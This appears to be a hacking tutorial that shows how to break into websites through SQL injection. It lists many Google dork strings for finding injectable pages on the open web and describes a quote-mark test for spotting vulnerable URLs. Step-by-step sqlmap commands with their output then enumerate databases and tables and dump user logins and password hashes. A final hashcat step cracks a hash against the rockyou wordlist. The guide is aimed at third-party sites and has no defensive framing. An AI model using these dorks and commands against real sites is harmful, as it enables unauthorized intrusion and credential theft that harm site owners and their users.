Hacking Website with SQL INJECTION 100% working:)

Step 1: Find a Vulnerable Website

This is usually the toughest bit and takes longer than any other steps. Those who know how to use Google Dorks knows this already, but in case you don’t I have put together a number of strings that you can search in Google. Just copy paste any of the lines in Google and Google will show you a number of search results.

Step 1.a: Google Dorks strings to find Vulnerable SQLMAP SQL injectable website

This list a really long.. Took me a long time to collect them. If you know SQL, then you can add more here.. Put them in comment section and I will add them here.

Google Dork string Column 1	Google Dork string Column 2	Google Dork string Column 3
inurl:item_id=	inurl:review.php?id=	inurl:hosting_info.php?id=
inurl:newsid=	inurl:iniziativa.php?in=	inurl:gallery.php?id=
inurl:trainers.php?id=	inurl:curriculum.php?id=	inurl:rub.php?idr=
inurl:news-full.php?id=	inurl:labels.php?id=	inurl:view_faq.php?id=
inurl:news_display.php?getid=	inurl:story.php?id=	inurl:artikelinfo.php?id=
inurl:index2.php?option=	inurl:look.php?ID=	inurl:detail.php?ID=
inurl:readnews.php?id=	inurl:newsone.php?id=	inurl:index.php?=
inurl:top10.php?cat=	inurl:aboutbook.php?id=	inurl:profile_view.php?id=
inurl:newsone.php?id=	inurl:material.php?id=	inurl:category.php?id=
inurl:event.php?id=	inurl:opinions.php?id=	inurl:publications.php?id=
inurl:product-item.php?id=	inurl:announce.php?id=	inurl:fellows.php?id=
inurl:sql.php?id=	inurl:rub.php?idr=	inurl:downloads_info.php?id=
inurl:index.php?catid=	inurl:galeri_info.php?l=	inurl:prod_info.php?id=
inurl:news.php?catid=	inurl:tekst.php?idt=	inurl:shop.php?do=part&id=
inurl:index.php?id=	inurl:newscat.php?id=	inurl:productinfo.php?id=
inurl:news.php?id=	inurl:newsticker_info.php?idn=	inurl:collectionitem.php?id=
inurl:index.php?id=	inurl:rubrika.php?idr=	inurl:band_info.php?id=
inurl:trainers.php?id=	inurl:rubp.php?idr=	inurl:product.php?id=
inurl:buy.php?category=	inurl:offer.php?idf=	inurl:releases.php?id=
inurl:article.php?ID=	inurl:art.php?idm=	inurl:ray.php?id=
inurl:play_old.php?id=	inurl:title.php?id=	inurl:produit.php?id=
inurl:declaration_more.php?decl_id=	inurl:news_view.php?id=	inurl:pop.php?id=
inurl:pageid=	inurl:select_biblio.php?id=	inurl:shopping.php?id=
inurl:games.php?id=	inurl:humor.php?id=	inurl:productdetail.php?id=
inurl:page.php?file=	inurl:aboutbook.php?id=	inurl:post.php?id=
inurl:newsDetail.php?id=	inurl:ogl_inet.php?ogl_id=	inurl:viewshowdetail.php?id=
inurl:gallery.php?id=	inurl:fiche_spectacle.php?id=	inurl:clubpage.php?id=
inurl:article.php?id=	inurl:communique_detail.php?id=	inurl:memberInfo.php?id=
inurl:show.php?id=	inurl:sem.php3?id=	inurl:section.php?id=
inurl:staff_id=	inurl:kategorie.php4?id=	inurl:theme.php?id=
inurl:newsitem.php?num=	inurl:news.php?id=	inurl:page.php?id=
inurl:readnews.php?id=	inurl:index.php?id=	inurl:shredder-categories.php?id=
inurl:top10.php?cat=	inurl:faq2.php?id=	inurl:tradeCategory.php?id=
inurl:historialeer.php?num=	inurl:show_an.php?id=	inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=	inurl:preview.php?id=	inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=	inurl:loadpsb.php?id=	inurl:transcript.php?id=
inurl:forum_bds.php?num=	inurl:opinions.php?id=	inurl:channel_id=
inurl:game.php?id=	inurl:spr.php?id=	inurl:aboutbook.php?id=
inurl:view_product.php?id=	inurl:pages.php?id=	inurl:preview.php?id=
inurl:newsone.php?id=	inurl:announce.php?id=	inurl:loadpsb.php?id=
inurl:sw_comment.php?id=	inurl:clanek.php4?id=	inurl:pages.php?id=
inurl:news.php?id=	inurl:participant.php?id=
inurl:avd_start.php?avd=	inurl:download.php?id=
inurl:event.php?id=	inurl:main.php?id=
inurl:product-item.php?id=	inurl:review.php?id=
inurl:sql.php?id=	inurl:chappies.php?id=
inurl:material.php?id=	inurl:read.php?id=
inurl:clanek.php4?id=	inurl:prod_detail.php?id=
inurl:announce.php?id=	inurl:viewphoto.php?id=
inurl:chappies.php?id=	inurl:article.php?id=
inurl:read.php?id=	inurl:person.php?id=
inurl:viewapp.php?id=	inurl:productinfo.php?id=
inurl:viewphoto.php?id=	inurl:showimg.php?id=
inurl:rub.php?idr=	inurl:view.php?id=
inurl:galeri_info.php?l=	inurl:website.php?id=

Step 1.b: Initial check to confirm if website is vulnerable to SQLMAP SQL Injection

For every string show above, you will get huundreds of search results. How do you know which is really vulnerable to SQLMAP SQL Injection. There’s multiple ways and I am sure people would argue which one is best but to me the following is the simplest and most conclusive.

Let’s say you searched using this string inurl:item_id= and one of the search result shows a website like this:

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15

Just add a single quotation mark ' at the end of the URL. (Just to ensure, " is a double quotation mark and ' is a single quotation mark).

So now your URL will become like this:

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'

If the page returns an SQL error, the page is vulnerable to SQLMAP SQL Injection. If it loads or redirect you to a different page, move on to the next site in your Google search results page.

See example error below in the screenshot. I’ve obscured everything including URL and page design for obvious reasons.

Examples of SQLi Errors from Different Databases and Languages

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.

Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

MySQL Errors

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12

Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle Errors

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Step 2: List DBMS databases using SQLMAP SQL Injection

As you can see from the screenshot above, I’ve found a SQLMAP SQL Injection vulnerable website. Now I need to list all the databases in that Vulnerable database. (this is also called enumerating number of columns). As I am using SQLMAP, it will also tell me which one is vulnerable.

Run the following command on your vulnerable website with.

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --dbs

In here:
sqlmap = Name of sqlmap binary file
-u = Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15”)
--dbs = Enumerate DBMS databases

See screenshot below.

This commands reveals quite a few interesting info:

web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: sqldummywebsite
[10:55:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.sqldummywebsite.com'

So, we now have two database that we can look into. information_schema is a standard database for almost every MYSQL database. So our interest would be on sqldummywebsite database.

Step 3: List tables of target database using SQLMAP SQL Injection

Now we need to know how many tables this sqldummywebsite database got and what are their names. To find out that information, use the following command:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tables

Sweet, this database got 8 tables.

[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info

and of course we want to check whats inside user_info table using SQLMAP SQL Injection as that table probably contains username and passwords.

Step 4: List columns on target table of selected database using SQLMAP SQL Injection

Now we need to list all the columns on target table user_info of sqldummywebsite database using SQLMAP SQL Injection. SQLMAP SQL Injection makes it really easy, run the following command:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns

This returns 5 entries from target table user_info of sqldummywebsite database.

[10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite'
[10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:57:18] [INFO] the SQL query used returns 5 entries
[10:57:20] [INFO] retrieved: user_id
[10:57:22] [INFO] retrieved: int(10) unsigned
[10:57:25] [INFO] retrieved: user_login
[10:57:27] [INFO] retrieved: varchar(45)
[10:57:32] [INFO] retrieved: user_password
[10:57:34] [INFO] retrieved: varchar(255)
[10:57:37] [INFO] retrieved: unique_id
[10:57:39] [INFO] retrieved: varchar(255)
[10:57:41] [INFO] retrieved: record_status
[10:57:43] [INFO] retrieved: tinyint(4)

AHA! This is exactly what we are looking for … target table user_login and user_password .

Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection

SQLMAP SQL Injection makes is Easy! Just run the following command again:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump

Guess what, we now have the username from the database:

[10:58:39] [INFO] retrieved: userX
[10:58:40] [INFO] analyzing table dump for possible password hashes

Almost there, we now only need the password to for this user.. Next shows just that..

Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection

You’re probably getting used to on how to use SQLMAP SQL Injection tool. Use the following command to extract password for the user.

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump

TADA!! We have password.

[10:59:15] [INFO] the SQL query used returns 1 entries
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.
[10:59:18] [INFO] analyzing table dump for possible password hashes
Database: sqldummywebsite
Table: user_info
[1 entry]
+---------------+
| user_password |
+---------------+
| 24iYBc17xK0e. |
+---------------+

But hang on, this password looks funny. This can’t be someone’s password.. Someone who leaves their website vulnerable like that just can’t have a password like that.

That is exactly right. This is a hashed password. What that means, the password is encrypted and now we need to decrypt it.

I have covered how to decrypt password extensively on this Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linuxpost. If you’ve missed it, you’re missing out a lot.

I will cover it in short here but you should really learn how to use hashcat.

Step 7: Cracking password

So the hashed password is 24iYBc17xK0e. . How do you know what type of hash is that?

Step 7.a: Identify Hash type

Luckily, Kali Linux provides a nice tool and we can use that to identify which type of hash is this. In command line type in the following command and on prompt paste the hash value:

hash-identifier

Excellent. So this is DES(Unix) hash.

Step 7.b: Crack HASH using cudahashcat

First of all I need to know which code to use for DES hashes. So let’s check that:

cudahashcat --help | grep DES

So it’s either 1500 or 3100. But it was a MYSQL Database, so it must be 1500.

I am running a Computer thats got NVIDIA Graphics card. That means I will be using cudaHashcat. On my laptop, I got an AMD ATI Graphics cards, so I will be using oclHashcat on my laptop. If you’re on VirtualBox or VMWare, neither cudahashcat nor oclhashcat will work. You must install Kali in either a persisitent USB or in Hard Disk. Instructions are in the website, search around.

I saved the hash value 24iYBc17xK0e. in DES.hash file. Following is the command I am running:

cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt

Interesting find: Usuaul Hashcat was unable to determine the code for DES hash. (not in it’s help menu). Howeverm both cudaHashcat and oclHashcat found and cracked the key.

Anyhow, so here’s the cracked password: abc123. 24iYBc17xK0e.:abc123

Sweet, we now even have the password for this use

Author : Unknown

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